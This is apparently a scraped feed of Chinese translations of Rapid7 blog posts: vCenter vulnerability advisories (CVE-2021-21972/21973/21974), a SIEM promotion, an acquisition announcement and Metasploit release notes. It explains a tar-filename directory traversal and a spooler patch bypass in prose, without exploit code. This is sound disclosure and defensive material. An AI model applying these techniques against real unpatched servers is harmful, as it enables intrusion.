class="code-snippet_outer">         } <span class="code-snippet__keyword">catch</span> (Exception var15) {</span></code><code><span class="code-snippet_outer">            logger.error(<span class="code-snippet__string">&#34;Unable to upload OVA file :&#34;</span> + var15);</span></code><code><span class="code-snippet_outer">            returnStatus = <span class="code-snippet__string">&#34;FAILED&#34;</span>;</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      wr.write(returnStatus);</span></code><code><span class="code-snippet_outer">      wr.flush();</span></code><code><span class="code-snippet_outer">      wr.close();</span></code><code><span class="code-snippet_outer">   }</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;"></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">因为没有对.tar名称进行过滤，它们只是与字符串&#34;/tmp/unicorn_ova_dir&#34;连在一起，然后在生成的位置创建文件。所以我们直接将TAR文件与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在“../” 即可实现目录遍历。如上述代码：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">Rapid7的研究人员已经独立分析，测试，并确认了这一漏洞的可利用性，并提供了完整的技术分析。（</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog#rapid7-analysis" target="_blank">https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog#rapid7-analysis</a></em></span><span style="font-size: 15px;">）</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">鉴于漏洞的严重性以及网络基础设施可能会被遭到恶意破坏，组织最好考虑紧急修补程序。如果您无法立即更新到软件的新固定版本，您可以通过以下 VMware 官方的指示在此处禁用 vROP 插件：</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://kb.vmware.com/s/article/82374" target="_blank">https://kb.vmware.com/s/article/82374</a></em></span><span style="font-size: 15px;">。</span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">CVE-2021-21973</span></strong></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">CVE-2021-21973是 VMware ESXi OpenSLP 中一个重要的（CVSSv3 基础 8.8）基于堆溢的远程代码执行漏洞。在受影响的系统上访问端口 427 的同一段网络访问权限的攻击者可能能够使用堆溢式弱点执行远程代码执行。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">VMware已为临时缓解提供了步骤(</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://kb.vmware.com/s/article/76372" target="_blank">https://kb.vmware.com/s/article/76372</a></em></span><span style="font-size: 15px;">)，其中包括在受影响的系统上禁用 SLP 服务。</span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">CVE-2021-21974</span></strong></section><p style="margin-bottom: 15px;"><span style="font-size: 15px;">CVE-2021-21974是影响 HTML5 vSphere 客户端的中度（CVSSv3 基础 5.3）服务器端请求伪造漏洞。访问受影响系统的端口 443 的攻击者可以利用此弱点访问基础系统信息。</span></p><p style="margin-bottom: 15px;"><span style="font-size: 15px;">VMware已为临时缓解提供了步骤(</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://kb.vmware.com/s/article/82374" target="_blank">https://kb.vmware.com/s/article/82374</a></em></span><span style="font-size: 15px;">)，其中包括禁用插件。</span></p><p style="margin-bottom: 15px;"><span style="font-size: 15px;">Rapid7实验室尚未检测到来自互联网的VMware vCenter服务器的无差别扫描，但Bad Packets(</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://twitter.com/bad_packets/status/1364661586070102016?s=20" target="_blank">https://twitter.com/bad_packets/status/1364661586070102016?s=20</a></em></span><span style="font-size: 15px;">)已检测到了恶意事件。我们将持续关注这个事件，并更新此文章！</span></p><section style="margin-bottom: 15px;"><br/></section>



<p><a href="https://blog.rapid7.com/2021/02/24/vmware-vcenter-server-cve-2021-21972-remote-code-execution-vulnerability-what-you-need-to-know/">阅读原文</a></p>
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      <pubDate>Fri, 05 Mar 2021 11:08:00 +0800</pubDate>
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      <title>如何使用基于云的SIEM工具应对频繁的警报</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484500&amp;idx=1&amp;sn=dd38f8b6ae681225b1b0c91b7382a6dc</link>
      <description>当今的安全团队面临着前所未有的复杂性。IT 环境正在快速变化和扩展，导致数据激增，为了保持企业内部庞大的结构体系与业务的正常运行，从而购置了越来越多的工具。随着大量工具的配备，会出现大量警报，导致安全操作团队产生不可避免的警报疲劳</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-02-25 16:52</span> <span style="display: inline-block;"></span>
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<p>当今的安全团队面临着前所未有的复杂性。IT 环境正在快速变化和扩展，导致数据激增，为了保持企业内部庞大的结构体系与业务的正常运行，从而购置了越来越多的工具。随着大量工具的配备，会出现大量警报，导致安全操作团队产生不可避免的警报疲劳</p>
<p></p>



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<img src="https://wechat2rss.xlab.app/img-proxy/?k=6ab5fa39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFWKOz3Gq3g1QTibYKDrqibuzl4pt0V92wI8TJIT7dtKgcWCF3niaLEibH6AdNibM0f5xibBWhLZKL3ia4AzA%2F0%3Fwx_fmt%3Djpeg"/>
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<p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">当今的安全团队面临着前所未有的复杂性。IT 环境正在快速变化和扩展，导致数据激增，为了保持企业内部庞大的结构体系与业务的正常运行，从而购置了越来越多的工具。随着大量工具的配备，会出现大量警报，导致安全操作团队产生不可避免的警报疲劳。企业战略集团完成的研究表明，有40% 的组织使用 10 到 25 种单独的安全工具，有30% 的组织使用 26 到 50 种安全工具。这意味着每天都会有有成千上万的警报，具体取决于组织的大小。</span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">幸运的是，有一种方法可以针对团队收集的警报进行简化并展示：利用基于云的 SIEM。以下是基于云的 SIEM 可以帮助对抗警报疲劳以加速威胁检测和响应的几种关键方法。</span></p><section style="margin-bottom: 15px;text-indent: 0em;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>统一管理数据中心</strong></span></section><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">传统的 SIEM 主要专注于日志管理，以合规性为中心，而不是让您全面了解您的网络。这些过时的解决方案与现在企业团队的需求正好相反。云 SIEM 可以统一本地、远程和云环境中的不同数据集，为安全操作团队提供在一个地方所需的整体可见性，从而无需跳入和跳出多个工具（以及他们生成的数千、万个警报）。</span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">像 Rapid7 的 </span><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>InsightIDR</strong></span><span style="font-size: 15px;"> 这样的现代云 SIEM，您可以收集的不仅仅是来自整个环境的日志，还可以将包括用户活动、云、端点和网络流量在内的数据全部收集到单个解决方案中。云 SIEM 将数据放在一个位置，提供存在的关联性分析以及优先顺序，以帮助您避免大量警报。</span></p><p style="margin-bottom: 15px;text-indent: 0em;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>智能分析快速定位</strong></span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">通过一起分析您的所有数据，云 SIEM 使用机器学习更好地识别环境中的模式，以了解什么是正常数据，什么是潜在威胁。结果如何？加上微调的检测，以便您的团队只有在真正发生有威胁的情况时才会收到警报。</span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">云 SIEM 不会让您陷入误报的困扰，而是提供关联性分析、可操作的警报。InsightIDR 为客户提供由我们的专家分析师根据真实威胁创建和策划的高质量、开箱即用的警报，因此您可以在产生攻击链的早期快速的发现并拦截攻击行为，而不是去筛选大量数据和毫无价值的警报。</span></p><p style="margin-bottom: 15px;text-indent: 0em;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>通过自动化加速响应</strong></span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">通过自动化，您可以降低警报疲劳，进一步提高 SOC 的效率。通过利用内置自动化或能够集成安全编排和自动化 （SOAR） 工具的云 SIEM，您的 SOC 可以减轻大量工作量，并释放分析师，专注于最重要的事情。</span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">云 SIEM 具有专家驱动的检测和内置自动化功能，使安全团队能够在一小段时间内对攻击进行响应和补救，而不是手动调查数千个警报。InsightIDR 可与 Rapid7 的安全编排和自动化响应 （SOAR） 工具 InsightConnect 无缝集成，可减少警报疲劳、自动化遏制并改进调查处理。</span></p><p style="text-indent: 2em;margin-bottom: 15px;"><span style="font-size: 15px;">基于云的 SIEM 工具具有整体网络可见性和高级分析功能，为团队提供上下文关联性分析警报和相关性，以对抗警报疲劳并加快事件检测和响应。了解更多关于 InsightIDR(</span><span style="font-size: 15px;color: rgb(61, 170, 214);"><em><a href="https://www.rapid7.com/products/insightidr/outcomes/focus-your-talent/" target="_blank">https://www.rapid7.com/products/insightidr/outcomes/focus-your-talent/</a></em></span><span style="font-size: 15px;">)：如何通过查看我们的结果页面来帮助消除警报疲劳等信息。</span></p>



<p><a href="https://blog.rapid7.com/2021/02/22/how-to-combat-alert-fatigue-with-cloud-based-siem-tools/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0c26f741&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484500%26idx%3D1%26sn%3Ddd38f8b6ae681225b1b0c91b7382a6dc%26subscene%3D0">跳转微信打开</a></p>
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      <pubDate>Thu, 25 Feb 2021 16:52:00 +0800</pubDate>
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      <title>Rapid7收购全球领先的Kubernetes安全供应商Alcide</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484494&amp;idx=1&amp;sn=acbb977c614db5ed76539b291818c1dc</link>
      <description>基于云环境的灵活、易部署、性能优越等优势，全球越来越多的客户开始使用云环境来开展自己的业务。而那些已经使用了</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-02-05 15:07</span> <span style="display: inline-block;"></span>
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<p>基于云环境的灵活、易部署、性能优越等优势，全球越来越多的客户开始使用云环境来开展自己的业务。而那些已经使用了</p>
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<img src="https://wechat2rss.xlab.app/img-proxy/?k=b4e08309&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFXh3ajvWJsdaYvgPWYEWuOkdkh12ut4qjzcxON8XIOZz56iaVmFAia8a7J8EQnRAnpLFmla2OaufTZA%2F0%3Fwx_fmt%3Djpeg"/>
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<p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">基于云环境的灵活、易部署、性能优越等优势，全球越来越多的客户开始使用云环境来开展自己的业务。而那些已经使用了云环境的客户也发现，在使用云环境后工作效率确实也有了显著的提升。但是在享有它便捷的同时，我们也需要考虑云环境的安全性。在使用前需要全面的了解云的概念及容器环境，从中发现潜在威胁和配置错误最终达到降低风险的目的。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">在Rapid7，我们努力帮助我们的客户建立和实施安全的战略方针，使他们能够快速采用和保护云环境。但是仅仅只关注云基础设施或容器，无法做到全面的发现可能存在的漏洞以及各漏洞会影响的范围。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">为了更好的帮助我们的客户更全面地了解他们的云环境，我很高兴地宣布，我们已经收购了Alcide，Alcide是一家位于以色列特拉维夫的Kubernetes安全公司的领导者。Alcide提供的Kubernetes安全性解决方案，可以将其完全集成到DevOps的生命周期和流程中，因此业务应用在快速部署的同时也保护云环境免受恶意攻击。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">Alcide的云工作负载保护平台(CWPP)提供广泛、实时的可见性和治理、容器运行时和网络监控，以及检测、审计以及具备调查已知和未知安全威胁的能力。通过将Alcide的CWPP能力与我们现有的态势管理(CSPM)和基础设施授权(CIEM)能力结合在一起，我们将能够为我们的客户提供一个云本地安全平台，使他们能够在整个云环境中管理风险和合规。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">这是云安全领域一个激动人心的时刻，因为我们正在见证人们观念的转变。云安全团队不再被视为成本中心或运营障碍，而是作为推动业务发展的关键投资赢得了一席之地。有了Alcide，我们很高兴能为我们的客户进一步增加竞争优势。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">我们期待着与Alcide的优秀团队携手合作，为我们的客户提供横跨整个云基础设施和本地云应用的全面、统一的解决方案。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 15px;">Alcide(</span><span style="font-size: 15px;color: rgb(0, 128, 255);"><em><a href="https://www.alcide.io/" target="_blank">https://www.alcide.io/</a></em></span><span style="font-size: 15px;">)成立于2016年7月，其创始人是<strong>Ranny Nachmias</strong> 和 <strong>Gadi Naor</strong>，曾在2018年获得过“Gartner Cool Vendor for Cloud Security”、“Astors Gold Award Winner”，在2019年获得过“TechCrunch Top Pick Company”、“Infosec Awards Winner”、“CRN: The 10 Hottest Kubernetes Tools and Technologies of 2019”等称号。</span></p><p style="margin-bottom: 10px;text-indent: 2em;"><strong><span style="font-size: 15px;">在其创始之初Alcide是以填补 DevOps 和安全团队之间的空白为目标，以便所有利益相关者之间能够有更无缝的流程。DevOps 语言是具有操作的实时可见性和安全的语言，具有深入分析和控制，可管理复杂的 Kubernetes 部署。为了真正保护云原生环境，创建了一种新的解决方案。一个专为复杂的 Kubernetes 环境而设计，一个适用于在这个新时代运营和保护的所有利益相关者。</span></strong><span style="font-size: 15px;"></span></p><p style="margin-bottom: 10px;text-indent: 2em;"><strong><span style="font-size: 15px;">非常欢迎Alcide加入Rapid7！！！ </span></strong><span style="font-size: 15px;"></span></p><p style="margin-bottom: 10px;text-indent: 2em;"><br/></p>



<p><a href="https://blog.rapid7.com/2021/02/01/rapid7-acquires-leading-kubernetes-security-provider-alcide/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=740e3cac&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484494%26idx%3D1%26sn%3Dacbb977c614db5ed76539b291818c1dc%26subscene%3D0">跳转微信打开</a></p>
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      <pubDate>Fri, 05 Feb 2021 15:07:00 +0800</pubDate>
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      <title>Metasploit 简讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484484&amp;idx=1&amp;sn=b5a5958954acaf0953e9da454e88ce10</link>
      <description>Bwatters-r7向我们提供了对CVE-2020-1337漏洞的利用模块。它可以对现有已打过Windows print spooler补丁的系统进行绕过，该漏洞曾在去年被广泛的利用</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-02-01 13:50</span> <span style="display: inline-block;"></span>
</p>

<p>Bwatters-r7向我们提供了对CVE-2020-1337漏洞的利用模块。它可以对现有已打过Windows print spooler补丁的系统进行绕过，该漏洞曾在去年被广泛的利用</p>
<p></p>



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<img src="https://wechat2rss.xlab.app/img-proxy/?k=3eeacd03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVJ2eZ1FRUDelIz6YShcchdYFb9raqSOpNBfsHomMFKibJSqjjPyibLkGib3VmyLQdqLcISEdsMc5ZBw%2F0%3Fwx_fmt%3Djpeg"/>
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<section style="margin-bottom: 10px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(233, 95, 38);">Windows print spooler漏洞又来了</span></strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">Bwatters-r7(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/bwatters-r7" target="_blank">https://github.com/bwatters-r7</a></span></em></span><span style="font-size: 15px;">)向我们提供了对CVE-2020-1337漏洞的利用模块。它可以对现有已打过Windows print spooler补丁的系统进行绕过，该漏洞曾在去年被广泛的利用。最初漏洞 CVE-2020-1048 引起了安全社区相当多的兴趣，主要是因为 Windows print spooler是作为 Stuxnet 攻击的一部分滥用旧组件。如果您想要了解更多请访问这个链接：(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://windows-internals.com/printdemon-cve-2020-1048/" target="_blank">https://windows-internals.com/printdemon-cve-2020-1048/</a></span></em></span><span style="font-size: 15px;">)</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">Microsoft为CVE-2020-1048发布的第一个验证程序是通过检查是否有权利在目标位置创建端口的行为来检测此漏洞。可惜的是，该修补程序仅在创建端口时检查权限。如果需要绕过，则只需创建指向用户可以写入位置的端口。然后，在创建回连端口后，创建一个链接通道，并使这个回连端口指向外部位置。由于仅在检查之后创建链接，因此将无法检测到，但回连时链接构建，因此文件写入将会被通过并最终到达受信任的位置。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>紧急修复</strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">Chiggins(</span><span style="color: rgb(0, 128, 255);"><em><span style="font-size: 14px;"><a href="https://github.com/Chiggins" target="_blank">https://github.com/Chiggins</a></span></em></span><span style="font-size: 15px;">)通过项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">#14635(<span style="color: rgb(0, 128, 255);"><em><span style="font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14635" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14635</a></span></em></span>)的项目为我们</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">msfconsole提供了新的修复程序。对于不了解的用户，你也可以</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;background-color: rgb(136, 136, 136);">ser pro</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(136, 136, 136);font-size: 15px;">mpt</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">命令在控制台中设置提示。感谢Chiggins为我们带来的宝贵信息！</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">你可以</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;background-color: rgb(136, 136, 136);">set Prompt %T</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">进行尝试。</span></section><section style="margin-bottom: 10px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;"></span></section><section style="margin-bottom: 10px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>新增模块</strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">Microsoft Spooler Local Privilege Elevation(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14414" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14414</a></span></em></span><span style="font-size: 15px;">)修补方案已失效，Peleg Hadar、Tomer Bar、bwatters-r7和sailay1996利用CVE-2020-1337增加了一个本地利用模块，此利用模块利用了Windows上后台处理程序服务中的任意文件写入漏洞。这个利用模块可以对CVE-2020-1048的修补程序进行绕过，我们将它加入了CVE-2020-1337标记里。通过成功执行此漏洞利用模块，可以获取代码</span><span style="font-size: 15px;background-color: rgb(136, 136, 136);">NT AUTHORITY\SYSTEM</span><span style="font-size: 15px;">的执行能力。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>功能提升</strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">dwelch-r7在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14583(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14583" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14583</a></span></em></span><span style="font-size: 15px;">)的项目中增加了对framework检测，设置了nmap在扫描过程中什么时需要sudo特权的能力，并使用sudo以默认方式提示用户重新运行nmap。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">geyslan 在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14621(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14621" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14621</a></span></em></span><span style="font-size: 15px;">)的项目中针对linux/x64/shell_bind_tcp_random_port模块做了调整，在保持其功能不变的前提减小其所需空间大小。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">h00die在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14630(h</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;">ttps://github.com/rapid7/metasploit-framework/pull/14630</span></em></span><span style="font-size: 15px;">)的项目中将 Zyxel 设备中的硬编码添加到 了unix 文件中 - 如在 CVE-2020-29583(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://attackerkb.com/topics/FJI292KsKw/cve-2020-29583-zyxel-usg-hard-coded-admin-creds?referrer=blog" target="_blank">https://attackerkb.com/topics/FJI292KsKw/cve-2020-29583-zyxel-usg-hard-coded-admin-creds?referrer=blog</a></span></em></span><span style="font-size: 15px;">)所述。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>本次修复BUG</strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">arno01在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14597(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14597" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14597</a></span></em></span><span style="font-size: 15px;">)的项目中对模块modules/auxiliary/gather/external_ip.rb的默认 vhost 设置进行了更新。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">dwelch-r7在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14609(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14609" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14609</a></span></em></span><span style="font-size: 15px;">)的项目中修复了由lib/msf/core/exploit/remote/http_client.rb和lib/msf/core/opt_http_rhost_url.rb的逻辑关系而导致当用户使用 /etc/host将主机名解析为 IP 地址的时候，则设置VHOST 的数据存储变量时将会报错的现象。现在可以通过改进这两个库的逻辑并相应地更新规范检查去解决这个问题。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">zomfg-zombie 在在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14632 (h</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;">ttps://github.com/rapid7/metasploit-framework/pull/14632</span></em></span><span style="font-size: 15px;">)的项目中修复了与 OpenSMTPD MAIL 从 RCE 漏洞的兼容性问题，当目标主机的 shell 使用严格 POSIX 兼容的实用程序时，它就会无法正常工作，与在Ubuntu 中的情况一样。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">Chiggins 在项目编号为：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">#14635(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pull/14635" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14635</a></span></em></span><span style="font-size: 15px;">)的项目中，修复了一个存在于lib/rex/ui/text/shell.rb库中的bug。在其命令提示项中使用 %T 字符的用户不会获取完整的时间戳信息。目前我们已应用修复程序来解决此回归问题，以便用户现在可以在其提示中获取完整的时间戳信息。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>如何获取</strong></span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub的博客获取最新的更新信息:</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">Pull Requests 6.0.26...6.0.27</span></p><p><span style="font-size: 15px;">(</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 128, 255);"><em><span style="font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-01-14T17%3A51%3A07%2B00%3A00..2021-01-21T12%3A45%3A57-06%3A00%22" target="_blank">https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-01-14T17%3A51%3A07%2B00%3A00..2021-01-21T12%3A45%3A57-06%3A00%22</a></span></em></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">)</span></p></li></ul><p><span style="font-size: 15px;"></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">Full diff 6.0.26...6.0.27</span></p><p><span style="font-size: 15px;">(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.26...6.0.27" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.26...6.0.27</a></span></em></span><span style="font-size: 15px;">)</span></p></li></ul><section style="margin-bottom: 10px;"><br/></section><section style="margin-bottom: 10px;"><br/></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">如果您是用户，可以克隆Metasploit Framework repo：</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">（</span><span style="color: rgb(0, 128, 255);"><em><span style="font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em></span><span style="color: rgb(0, 0, 0);"><em><span style="font-size: 14px;">)</span></em></span><span style="font-size: 15px;">以进行最新的更新。</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">若要在不使用 git 的情况下安装新设备，可以使用仅开放源代码的Nightly Installers</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">(</span><span style="color: rgb(0, 128, 